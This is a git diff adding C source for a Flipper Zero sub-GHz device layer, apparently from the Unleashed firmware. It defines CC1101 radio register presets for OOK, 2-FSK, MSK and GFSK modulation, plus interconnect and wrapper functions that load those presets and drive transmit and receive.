@@ -0,0 +1,553 @@
+#include "cc1101_configs.h"
+#include <cc1101_regs.h>
+
+const uint8_t subghz_device_cc1101_preset_ook_270khz_async_regs[] = {
+    // https://e2e.ti.com/support/wireless-connectivity/sub-1-ghz-group/sub-1-ghz/f/sub-1-ghz-forum/382066/cc1101---don-t-know-the-correct-registers-configuration
+
+    /* GPIO GD0 */
+    CC1101_IOCFG0,
+    0x0D, // GD0 as async serial data output/input
+
+    /* FIFO and internals */
+    CC1101_FIFOTHR,
+    0x47, // The only important bit is ADC_RETENTION, FIFO Tx=33 Rx=32
+
+    /* Packet engine */
+    CC1101_PKTCTRL0,
+    0x32, // Async, continious, no whitening
+
+    /* Frequency Synthesizer Control */
+    CC1101_FSCTRL1,
+    0x06, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz
+
+    // Modem Configuration
+    CC1101_MDMCFG0,
+    0x00, // Channel spacing is 25kHz
+    CC1101_MDMCFG1,
+    0x00, // Channel spacing is 25kHz
+    CC1101_MDMCFG2,
+    0x30, // Format ASK/OOK, No preamble/sync
+    CC1101_MDMCFG3,
+    0x32, // Data rate is 3.79372 kBaud
+    CC1101_MDMCFG4,
+    0x67, // Rx BW filter is 270.833333kHz
+
+    /* Main Radio Control State Machine */
+    CC1101_MCSM0,
+    0x18, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us)
+
+    /* Frequency Offset Compensation Configuration */
+    CC1101_FOCCFG,
+    0x18, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off
+
+    /* Automatic Gain Control */
+    CC1101_AGCCTRL0,
+    0x40, // 01 - Low hysteresis, small asymmetric dead zone, medium gain; 00 - 8 samples agc; 00 - Normal AGC, 00 - 4dB boundary
+    CC1101_AGCCTRL1,
+    0x00, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET
+    CC1101_AGCCTRL2,
+    0x03, // 00 - DVGA all; 000 - MAX LNA+LNA2; 011 - MAIN_TARGET 24 dB
+
+    /* Wake on radio and timeouts control */
+    CC1101_WORCTRL,
+    0xFB, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours
+
+    /* Frontend configuration */
+    CC1101_FREND0,
+    0x11, // Adjusts current TX LO buffer + high is PATABLE[1]
+    CC1101_FREND1,
+    0xB6, //
+
+    /* End load reg */
+    0,
+    0,
+
+    //ook_async_patable[8]
+    0x00,
+    0xC0, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+};
+
+const uint8_t subghz_device_cc1101_preset_ook_650khz_async_regs[] = {
+    // https://e2e.ti.com/support/wireless-connectivity/sub-1-ghz-group/sub-1-ghz/f/sub-1-ghz-forum/382066/cc1101---don-t-know-the-correct-registers-configuration
+
+    /* GPIO GD0 */
+    CC1101_IOCFG0,
+    0x0D, // GD0 as async serial data output/input
+
+    /* FIFO and internals */
+    CC1101_FIFOTHR,
+    0x07, // The only important bit is ADC_RETENTION
+
+    /* Packet engine */
+    CC1101_PKTCTRL0,
+    0x32, // Async, continious, no whitening
+
+    /* Frequency Synthesizer Control */
+    CC1101_FSCTRL1,
+    0x06, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz
+
+    // Modem Configuration
+    CC1101_MDMCFG0,
+    0x00, // Channel spacing is 25kHz
+    CC1101_MDMCFG1,
+    0x00, // Channel spacing is 25kHz
+    CC1101_MDMCFG2,
+    0x30, // Format ASK/OOK, No preamble/sync
+    CC1101_MDMCFG3,
+    0x32, // Data rate is 3.79372 kBaud
+    CC1101_MDMCFG4,
+    0x17, // Rx BW filter is 650.000kHz
+
+    /* Main Radio Control State Machine */
+    CC1101_MCSM0,
+    0x18, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us)
+
+    /* Frequency Offset Compensation Configuration */
+    CC1101_FOCCFG,
+    0x18, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off
+
+    /* Automatic Gain Control */
+    // CC1101_AGCTRL0,0x40, // 01 - Low hysteresis, small asymmetric dead zone, medium gain; 00 - 8 samples agc; 00 - Normal AGC, 00 - 4dB boundary
+    // CC1101_AGCTRL1,0x00, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET
+    // CC1101_AGCCTRL2, 0x03, // 00 - DVGA all; 000 - MAX LNA+LNA2; 011 - MAIN_TARGET 24 dB
+    //MAGN_TARGET for RX filter BW =< 100 kHz is 0x3. For higher RX filter BW's MAGN_TARGET is 0x7.
+    CC1101_AGCCTRL0,
+    0x91, // 10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary
+    CC1101_AGCCTRL1,
+    0x0, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET
+    CC1101_AGCCTRL2,
+    0x07, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB
+
+    /* Wake on radio and timeouts control */
+    CC1101_WORCTRL,
+    0xFB, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours
+
+    /* Frontend configuration */
+    CC1101_FREND0,
+    0x11, // Adjusts current TX LO buffer + high is PATABLE[1]
+    CC1101_FREND1,
+    0xB6, //
+
+    /* End load reg */
+    0,
+    0,
+
+    //ook_async_patable[8]
+    0x00,
+    0xC0, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+};
+
+const uint8_t subghz_device_cc1101_preset_2fsk_dev2_38khz_async_regs[] = {
+
+    /* GPIO GD0 */
+    CC1101_IOCFG0,
+    0x0D, // GD0 as async serial data output/input
+
+    /* Frequency Synthesizer Control */
+    CC1101_FSCTRL1,
+    0x06, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz
+
+    /* Packet engine */
+    CC1101_PKTCTRL0,
+    0x32, // Async, continious, no whitening
+    CC1101_PKTCTRL1,
+    0x04,
+
+    // // Modem Configuration
+    CC1101_MDMCFG0,
+    0x00,
+    CC1101_MDMCFG1,
+    0x02,
+    CC1101_MDMCFG2,
+    0x04, // Format 2-FSK/FM, No preamble/sync, Disable (current optimized)
+    CC1101_MDMCFG3,
+    0x83, // Data rate is 4.79794 kBaud
+    CC1101_MDMCFG4,
+    0x67, //Rx BW filter is 270.833333 kHz
+    CC1101_DEVIATN,
+    0x04, //Deviation 2.380371 kHz
+
+    /* Main Radio Control State Machine */
+    CC1101_MCSM0,
+    0x18, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us)
+
+    /* Frequency Offset Compensation Configuration */
+    CC1101_FOCCFG,
+    0x16, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off
+
+    /* Automatic Gain Control */
+    CC1101_AGCCTRL0,
+    0x91, //10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary
+    CC1101_AGCCTRL1,
+    0x00, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET
+    CC1101_AGCCTRL2,
+    0x07, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB
+
+    /* Wake on radio and timeouts control */
+    CC1101_WORCTRL,
+    0xFB, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours
+
+    /* Frontend configuration */
+    CC1101_FREND0,
+    0x10, // Adjusts current TX LO buffer
+    CC1101_FREND1,
+    0x56,
+
+    /* End load reg */
+    0,
+    0,
+
+    // 2fsk_async_patable[8]
+    0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+};
+
+const uint8_t subghz_device_cc1101_preset_2fsk_dev12khz_async_regs[] = {
+
+    /* GPIO GD0 */
+    CC1101_IOCFG0,
+    0x0D, // GD0 as async serial data output/input
+
+    /* Frequency Synthesizer Control */
+    CC1101_FSCTRL1,
+    0x06, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz
+
+    /* Packet engine */
+    CC1101_PKTCTRL0,
+    0x32, // Async, continious, no whitening
+    CC1101_PKTCTRL1,
+    0x04,
+
+    // // Modem Configuration
+    CC1101_MDMCFG0,
+    0x00,
+    CC1101_MDMCFG1,
+    0x02,
+    CC1101_MDMCFG2,
+    0x04, // Format 2-FSK/FM, No preamble/sync, Disable (current optimized)
+    CC1101_MDMCFG3,
+    0x83, // Data rate is 4.79794 kBaud
+    CC1101_MDMCFG4,
+    0x67, //Rx BW filter is 270.833333 kHz
+    CC1101_DEVIATN,
+    0x30, //Deviation 12.695312 kHz
+
+    /* Main Radio Control State Machine */
+    CC1101_MCSM0,
+    0x18, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us)
+
+    /* Frequency Offset Compensation Configuration */
+    CC1101_FOCCFG,
+    0x16, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off
+
+    /* Automatic Gain Control */
+    CC1101_AGCCTRL0,
+    0x91, //10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary
+    CC1101_AGCCTRL1,
+    0x00, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET
+    CC1101_AGCCTRL2,
+    0x07, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB
+
+    /* Wake on radio and timeouts control */
+    CC1101_WORCTRL,
+    0xFB, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours
+
+    /* Frontend configuration */
+    CC1101_FREND0,
+    0x10, // Adjusts current TX LO buffer
+    CC1101_FREND1,
+    0x56,
+
+    /* End load reg */
+    0,
+    0,
+
+    // 2fsk_async_patable[8]
+    0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+};
+
+const uint8_t subghz_device_cc1101_preset_2fsk_dev47_6khz_async_regs[] = {
+
+    /* GPIO GD0 */
+    CC1101_IOCFG0,
+    0x0D, // GD0 as async serial data output/input
+
+    /* Frequency Synthesizer Control */
+    CC1101_FSCTRL1,
+    0x06, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz
+
+    /* Packet engine */
+    CC1101_PKTCTRL0,
+    0x32, // Async, continious, no whitening
+    CC1101_PKTCTRL1,
+    0x04,
+
+    // // Modem Configuration
+    CC1101_MDMCFG0,
+    0x00,
+    CC1101_MDMCFG1,
+    0x02,
+    CC1101_MDMCFG2,
+    0x04, // Format 2-FSK/FM, No preamble/sync, Disable (current optimized)
+    CC1101_MDMCFG3,
+    0x83, // Data rate is 4.79794 kBaud
+    CC1101_MDMCFG4,
+    0x67, //Rx BW filter is 270.833333 kHz
+    CC1101_DEVIATN,
+    0x47, //Deviation 47.60742 kHz
+
+    /* Main Radio Control State Machine */
+    CC1101_MCSM0,
+    0x18, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us)
+
+    /* Frequency Offset Compensation Configuration */
+    CC1101_FOCCFG,
+    0x16, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off
+
+    /* Automatic Gain Control */
+    CC1101_AGCCTRL0,
+    0x91, //10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary
+    CC1101_AGCCTRL1,
+    0x00, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET
+    CC1101_AGCCTRL2,
+    0x07, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB
+
+    /* Wake on radio and timeouts control */
+    CC1101_WORCTRL,
+    0xFB, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours
+
+    /* Frontend configuration */
+    CC1101_FREND0,
+    0x10, // Adjusts current TX LO buffer
+    CC1101_FREND1,
+    0x56,
+
+    /* End load reg */
+    0,
+    0,
+
+    // 2fsk_async_patable[8]
+    0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+};
+
+const uint8_t subghz_device_cc1101_preset_msk_99_97kb_async_regs[] = {
+    /* GPIO GD0 */
+    CC1101_IOCFG0,
+    0x06,
+
+    CC1101_FIFOTHR,
+    0x07, // The only important bit is ADC_RETENTION
+    CC1101_SYNC1,
+    0x46,
+    CC1101_SYNC0,
+    0x4C,
+    CC1101_ADDR,
+    0x00,
+    CC1101_PKTLEN,
+    0x00,
+    CC1101_CHANNR,
+    0x00,
+
+    CC1101_PKTCTRL0,
+    0x05,
+
+    CC1101_FSCTRL0,
+    0x23,
+    CC1101_FSCTRL1,
+    0x06,
+
+    CC1101_MDMCFG0,
+    0xF8,
+    CC1101_MDMCFG1,
+    0x22,
+    CC1101_MDMCFG2,
+    0x72,
+    CC1101_MDMCFG3,
+    0xF8,
+    CC1101_MDMCFG4,
+    0x5B,
+    CC1101_DEVIATN,
+    0x47,
+
+    CC1101_MCSM0,
+    0x18,
+    CC1101_FOCCFG,
+    0x16,
+
+    CC1101_AGCCTRL0,
+    0xB2,
+    CC1101_AGCCTRL1,
+    0x00,
+    CC1101_AGCCTRL2,
+    0xC7,
+
+    CC1101_FREND0,
+    0x10,
+    CC1101_FREND1,
+    0x56,
+
+    CC1101_BSCFG,
+    0x1C,
+    CC1101_FSTEST,
+    0x59,
+
+    /* End load reg */
+    0,
+    0,
+
+    // msk_async_patable[8]
+    0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+};
+
+const uint8_t subghz_device_cc1101_preset_gfsk_9_99kb_async_regs[] = {
+
+    CC1101_IOCFG0,
+    0x06, //GDO0 Output Pin Configuration
+    CC1101_FIFOTHR,
+    0x47, //RX FIFO and TX FIFO Thresholds
+
+    //1 : CRC calculation in TX and CRC check in RX enabled,
+    //1 : Variable packet length mode. Packet length configured by the first byte after sync word
+    CC1101_PKTCTRL0,
+    0x05,
+
+    CC1101_FSCTRL1,
+    0x06, //Frequency Synthesizer Control
+
+    CC1101_SYNC1,
+    0x46,
+    CC1101_SYNC0,
+    0x4C,
+    CC1101_ADDR,
+    0x00,
+    CC1101_PKTLEN,
+    0x00,
+
+    CC1101_MDMCFG4,
+    0xC8, //Modem Configuration 9.99
+    CC1101_MDMCFG3,
+    0x93, //Modem Configuration
+    CC1101_MDMCFG2,
+    0x12, // 2: 16/16 sync word bits detected
+
+    CC1101_DEVIATN,
+    0x34, //Deviation = 19.042969
+    CC1101_MCSM0,
+    0x18, //Main Radio Control State Machine Configuration
+    CC1101_FOCCFG,
+    0x16, //Frequency Offset Compensation Configuration
+
+    CC1101_AGCCTRL2,
+    0x43, //AGC Control
+    CC1101_AGCCTRL1,
+    0x40,
+    CC1101_AGCCTRL0,
+    0x91,
+
+    CC1101_WORCTRL,
+    0xFB, //Wake On Radio Control
+
+    /* End load reg */
+    0,
+    0,
+
+    // gfsk_async_patable[8]
+    0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+    0x00,
+};
+
+// Shpargalka
+// const uint8_t subghz_device_cc1101_preset_ook_async_patable[8] = {
+//     0x00,
+//     0xC0, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00};
+
+// const uint8_t subghz_device_cc1101_preset_ook_async_patable_au[8] = {
+//     0x00,
+//     0x37, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00};
+
+// const uint8_t subghz_device_cc1101_preset_2fsk_async_patable[8] = {
+//     0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00};
+
+// const uint8_t subghz_device_cc1101_preset_msk_async_patable[8] = {
+//     0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00};
+
+// const uint8_t subghz_device_cc1101_preset_gfsk_async_patable[8] = {
+//     0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00,
+//     0x00};
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_configs.h b/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_configs.h
new file mode 100644
index 000000000..86321edab
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_configs.h
@@ -0,0 +1,24 @@
+#pragma once
+#include <furi.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+extern const uint8_t subghz_device_cc1101_preset_ook_270khz_async_regs[];
+extern const uint8_t subghz_device_cc1101_preset_ook_650khz_async_regs[];
+extern const uint8_t subghz_device_cc1101_preset_2fsk_dev2_38khz_async_regs[];
+extern const uint8_t subghz_device_cc1101_preset_2fsk_dev12khz_async_regs[];
+extern const uint8_t subghz_device_cc1101_preset_2fsk_dev47_6khz_async_regs[];
+extern const uint8_t subghz_device_cc1101_preset_msk_99_97kb_async_regs[];
+extern const uint8_t subghz_device_cc1101_preset_gfsk_9_99kb_async_regs[];
+
+// extern const uint8_t subghz_device_cc1101_preset_ook_async_patable[8];
+// extern const uint8_t subghz_device_cc1101_preset_ook_async_patable_au[8];
+// extern const uint8_t subghz_device_cc1101_preset_2fsk_async_patable[8];
+// extern const uint8_t subghz_device_cc1101_preset_msk_async_patable[8];
+// extern const uint8_t subghz_device_cc1101_preset_gfsk_async_patable[8];
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_int/cc1101_int_interconnect.c b/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_int/cc1101_int_interconnect.c
new file mode 100644
index 000000000..be33b8778
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_int/cc1101_int_interconnect.c
@@ -0,0 +1,99 @@
+#include "cc1101_int_interconnect.h"
+#include <furi_hal.h>
+#include "../cc1101_configs.h"
+
+#define TAG "SubGhzDeviceCc1101Int"
+
+static bool subghz_device_cc1101_int_interconnect_is_frequency_valid(uint32_t frequency) {
+    bool ret = furi_hal_subghz_is_frequency_valid(frequency);
+    if(!ret) {
+        furi_crash("SubGhz: Incorrect frequency.");
+    }
+    return ret;
+}
+
+static uint32_t subghz_device_cc1101_int_interconnect_set_frequency(uint32_t frequency) {
+    subghz_device_cc1101_int_interconnect_is_frequency_valid(frequency);
+    return furi_hal_subghz_set_frequency_and_path(frequency);
+}
+
+static bool subghz_device_cc1101_int_interconnect_start_async_tx(void* callback, void* context) {
+    return furi_hal_subghz_start_async_tx((FuriHalSubGhzAsyncTxCallback)callback, context);
+}
+
+static void subghz_device_cc1101_int_interconnect_start_async_rx(void* callback, void* context) {
+    furi_hal_subghz_start_async_rx((FuriHalSubGhzCaptureCallback)callback, context);
+}
+
+static void subghz_device_cc1101_int_interconnect_load_preset(
+    FuriHalSubGhzPreset preset,
+    uint8_t* preset_data) {
+    switch(preset) {
+    case FuriHalSubGhzPresetOok650Async:
+        furi_hal_subghz_load_custom_preset(subghz_device_cc1101_preset_ook_650khz_async_regs);
+        break;
+    case FuriHalSubGhzPresetOok270Async:
+        furi_hal_subghz_load_custom_preset(subghz_device_cc1101_preset_ook_270khz_async_regs);
+        break;
+    case FuriHalSubGhzPreset2FSKDev238Async:
+        furi_hal_subghz_load_custom_preset(subghz_device_cc1101_preset_2fsk_dev2_38khz_async_regs);
+        break;
+    case FuriHalSubGhzPreset2FSKDev12KAsync:
+        furi_hal_subghz_load_custom_preset(subghz_device_cc1101_preset_2fsk_dev12khz_async_regs);
+        break;
+    case FuriHalSubGhzPreset2FSKDev476Async:
+        furi_hal_subghz_load_custom_preset(subghz_device_cc1101_preset_2fsk_dev47_6khz_async_regs);
+        break;
+    case FuriHalSubGhzPresetMSK99_97KbAsync:
+        furi_hal_subghz_load_custom_preset(subghz_device_cc1101_preset_msk_99_97kb_async_regs);
+        break;
+    case FuriHalSubGhzPresetGFSK9_99KbAsync:
+        furi_hal_subghz_load_custom_preset(subghz_device_cc1101_preset_gfsk_9_99kb_async_regs);
+        break;
+
+    default:
+        furi_hal_subghz_load_custom_preset(preset_data);
+    }
+}
+
+static bool subghz_device_cc1101_int_interconnect_is_connect(void) {
+    return true;
+}
+
+const SubGhzDeviceInterconnect subghz_device_cc1101_int_interconnect = {
+    .begin = NULL,
+    .end = furi_hal_subghz_shutdown,
+    .is_connect = subghz_device_cc1101_int_interconnect_is_connect,
+    .reset = furi_hal_subghz_reset,
+    .sleep = furi_hal_subghz_sleep,
+    .idle = furi_hal_subghz_idle,
+    .load_preset = subghz_device_cc1101_int_interconnect_load_preset,
+    .set_frequency = subghz_device_cc1101_int_interconnect_set_frequency,
+    .is_frequency_valid = furi_hal_subghz_is_frequency_valid,
+    .set_async_mirror_pin = furi_hal_subghz_set_async_mirror_pin,
+    .get_data_gpio = furi_hal_subghz_get_data_gpio,
+
+    .set_tx = furi_hal_subghz_tx,
+    .flush_tx = furi_hal_subghz_flush_tx,
+    .start_async_tx = subghz_device_cc1101_int_interconnect_start_async_tx,
+    .is_async_complete_tx = furi_hal_subghz_is_async_tx_complete,
+    .stop_async_tx = furi_hal_subghz_stop_async_tx,
+
+    .set_rx = furi_hal_subghz_rx,
+    .flush_rx = furi_hal_subghz_flush_rx,
+    .start_async_rx = subghz_device_cc1101_int_interconnect_start_async_rx,
+    .stop_async_rx = furi_hal_subghz_stop_async_rx,
+
+    .get_rssi = furi_hal_subghz_get_rssi,
+    .get_lqi = furi_hal_subghz_get_lqi,
+
+    .rx_pipe_not_empty = furi_hal_subghz_rx_pipe_not_empty,
+    .is_rx_data_crc_valid = furi_hal_subghz_is_rx_data_crc_valid,
+    .read_packet = furi_hal_subghz_read_packet,
+    .write_packet = furi_hal_subghz_write_packet,
+};
+
+const SubGhzDevice subghz_device_cc1101_int = {
+    .name = SUBGHZ_DEVICE_CC1101_INT_NAME,
+    .interconnect = &subghz_device_cc1101_int_interconnect,
+};
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_int/cc1101_int_interconnect.h b/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_int/cc1101_int_interconnect.h
new file mode 100644
index 000000000..629d1264c
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_int/cc1101_int_interconnect.h
@@ -0,0 +1,8 @@
+#pragma once
+#include "../types.h"
+
+#define SUBGHZ_DEVICE_CC1101_INT_NAME "cc1101_int"
+
+typedef struct SubGhzDeviceCC1101Int SubGhzDeviceCC1101Int;
+
+extern const SubGhzDevice subghz_device_cc1101_int;
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/device_registry.h b/lib/subghz_unleashed_vendor/src/subghz/devices/device_registry.h
new file mode 100644
index 000000000..70a0db4b2
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/device_registry.h
@@ -0,0 +1,13 @@
+#pragma once
+
+#include "registry.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+extern const SubGhzDeviceRegistry subghz_device_registry;
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/devices.c b/lib/subghz_unleashed_vendor/src/subghz/devices/devices.c
new file mode 100644
index 000000000..099953136
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/devices.c
@@ -0,0 +1,242 @@
+#include "devices.h"
+
+#include "registry.h"
+
+void subghz_devices_init(void) {
+    furi_check(!subghz_device_registry_is_valid());
+    subghz_device_registry_init();
+}
+
+void subghz_devices_deinit(void) {
+    furi_check(subghz_device_registry_is_valid());
+    subghz_device_registry_deinit();
+}
+
+const SubGhzDevice* subghz_devices_get_by_name(const char* device_name) {
+    furi_check(subghz_device_registry_is_valid());
+    const SubGhzDevice* device = subghz_device_registry_get_by_name(device_name);
+    return device;
+}
+
+const char* subghz_devices_get_name(const SubGhzDevice* device) {
+    const char* ret = NULL;
+    if(device) {
+        ret = device->name;
+    }
+    return ret;
+}
+
+bool subghz_devices_begin(const SubGhzDevice* device) {
+    furi_check(device);
+    bool ret = false;
+    if(device->interconnect->begin) {
+        SubGhzDeviceConf conf = {
+            .ver = 1,
+            .extended_range = false, // TODO
+            .amp_and_leds = furi_hal_subghz_get_ext_leds_and_amp(),
+        };
+
+        ret = device->interconnect->begin(&conf);
+    }
+    return ret;
+}
+
+void subghz_devices_end(const SubGhzDevice* device) {
+    furi_check(device);
+    if(device->interconnect->end) {
+        device->interconnect->end();
+    }
+}
+
+bool subghz_devices_is_connect(const SubGhzDevice* device) {
+    furi_check(device);
+    bool ret = false;
+    if(device->interconnect->is_connect) {
+        ret = device->interconnect->is_connect();
+    }
+    return ret;
+}
+
+void subghz_devices_reset(const SubGhzDevice* device) {
+    furi_check(device);
+    if(device->interconnect->reset) {
+        device->interconnect->reset();
+    }
+}
+
+void subghz_devices_sleep(const SubGhzDevice* device) {
+    furi_check(device);
+    if(device->interconnect->sleep) {
+        device->interconnect->sleep();
+    }
+}
+
+void subghz_devices_idle(const SubGhzDevice* device) {
+    furi_check(device);
+    if(device->interconnect->idle) {
+        device->interconnect->idle();
+    }
+}
+
+void subghz_devices_load_preset(
+    const SubGhzDevice* device,
+    FuriHalSubGhzPreset preset,
+    uint8_t* preset_data) {
+    furi_check(device);
+    if(device->interconnect->load_preset) {
+        device->interconnect->load_preset(preset, preset_data);
+    }
+}
+
+uint32_t subghz_devices_set_frequency(const SubGhzDevice* device, uint32_t frequency) {
+    furi_check(device);
+    uint32_t ret = 0;
+    if(device->interconnect->set_frequency) {
+        ret = device->interconnect->set_frequency(frequency);
+    }
+    return ret;
+}
+
+bool subghz_devices_is_frequency_valid(const SubGhzDevice* device, uint32_t frequency) {
+    bool ret = false;
+    furi_check(device);
+    if(device->interconnect->is_frequency_valid) {
+        ret = device->interconnect->is_frequency_valid(frequency);
+    }
+    return ret;
+}
+
+void subghz_devices_set_async_mirror_pin(const SubGhzDevice* device, const GpioPin* gpio) {
+    furi_check(device);
+    if(device->interconnect->set_async_mirror_pin) {
+        device->interconnect->set_async_mirror_pin(gpio);
+    }
+}
+
+const GpioPin* subghz_devices_get_data_gpio(const SubGhzDevice* device) {
+    furi_check(device);
+    const GpioPin* ret = NULL;
+    if(device->interconnect->get_data_gpio) {
+        ret = device->interconnect->get_data_gpio();
+    }
+    return ret;
+}
+
+bool subghz_devices_set_tx(const SubGhzDevice* device) {
+    bool ret = 0;
+    furi_check(device);
+    if(device->interconnect->set_tx) {
+        ret = device->interconnect->set_tx();
+    }
+    return ret;
+}
+
+void subghz_devices_flush_tx(const SubGhzDevice* device) {
+    furi_check(device);
+    if(device->interconnect->flush_tx) {
+        device->interconnect->flush_tx();
+    }
+}
+
+bool subghz_devices_start_async_tx(const SubGhzDevice* device, void* callback, void* context) {
+    bool ret = false;
+    furi_check(device);
+    if(device->interconnect->start_async_tx) {
+        ret = device->interconnect->start_async_tx(callback, context);
+    }
+    return ret;
+}
